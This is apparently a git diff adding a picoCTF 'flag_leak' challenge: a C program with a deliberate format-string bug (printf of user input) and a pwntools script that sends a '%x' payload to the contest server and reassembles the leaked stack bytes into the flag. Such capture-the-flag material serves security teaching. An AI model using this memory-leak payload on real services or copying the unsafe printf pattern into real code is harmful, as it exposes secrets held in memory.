diff --git a/flag_leak/.gdb_history b/flag_leak/.gdb_history new file mode 100644 index 0000000..75553ce --- /dev/null +++ b/flag_leak/.gdb_history @@ -0,0 +1,2 @@ +disassemble main +exit diff --git a/flag_leak/sol.py b/flag_leak/sol.py new file mode 100755 index 0000000..044d519 --- /dev/null +++ b/flag_leak/sol.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python +from pwn import * + +buffer_size = 127 +hex_to_read = 127//2 +hex_reader = b'%x'*hex_to_read +payload = hex_reader + b'.' +log.info(f"payload: {payload}") + +def endian_swap(s, offset=0): + result = b'' + for i in range(3+offset, len(s), 4): + result += bytes(reversed(s[i-3:i+1])) + return result + +conn = remote("saturn.picoctf.net", 65206) + +conn.recvuntil(b" >> ") +conn.sendline(payload) +conn.recvline() +data = conn.recvline(keepends=False)[:-1] +log.info(f"received data: {data}") +unhexed_data = unhex(data) +for i in range(4): + endian_swapped_data = endian_swap(unhexed_data, offset=i) + if b"picoCTF" in endian_swapped_data: + break +log.info(f"processed data: {endian_swapped_data}") + diff --git a/flag_leak/vuln b/flag_leak/vuln new file mode 100755 index 0000000..666c7d1 Binary files /dev/null and b/flag_leak/vuln differ diff --git a/flag_leak/vuln.c b/flag_leak/vuln.c new file mode 100644 index 0000000..ca0491a --- /dev/null +++ b/flag_leak/vuln.c @@ -0,0 +1,46 @@ +#include +#include +#include +#include +#include +#include +#include + +#define BUFSIZE 64 +#define FLAGSIZE 64 + +void readflag(char* buf, size_t len) { + FILE *f = fopen("flag.txt","r"); + if (f == NULL) { + printf("%s %s", "Please create 'flag.txt' in this directory with your", + "own debugging flag.\n"); + exit(0); + } + + fgets(buf,len,f); // size bound read +} + +void vuln(){ + char flag[BUFSIZE]; + char story[128]; + + readflag(flag, FLAGSIZE); + + printf("Tell me a story and then I'll tell you one >> "); + scanf("%127s", story); + printf("Here's a story - \n"); + printf(story); + printf("\n"); +} + +int main(int argc, char **argv){ + + setvbuf(stdout, NULL, _IONBF, 0); + + // Set the gid to the effective gid + // this prevents /bin/sh from dropping the privileges + gid_t gid = getegid(); + setresgid(gid, gid, gid); + vuln(); + return 0; +}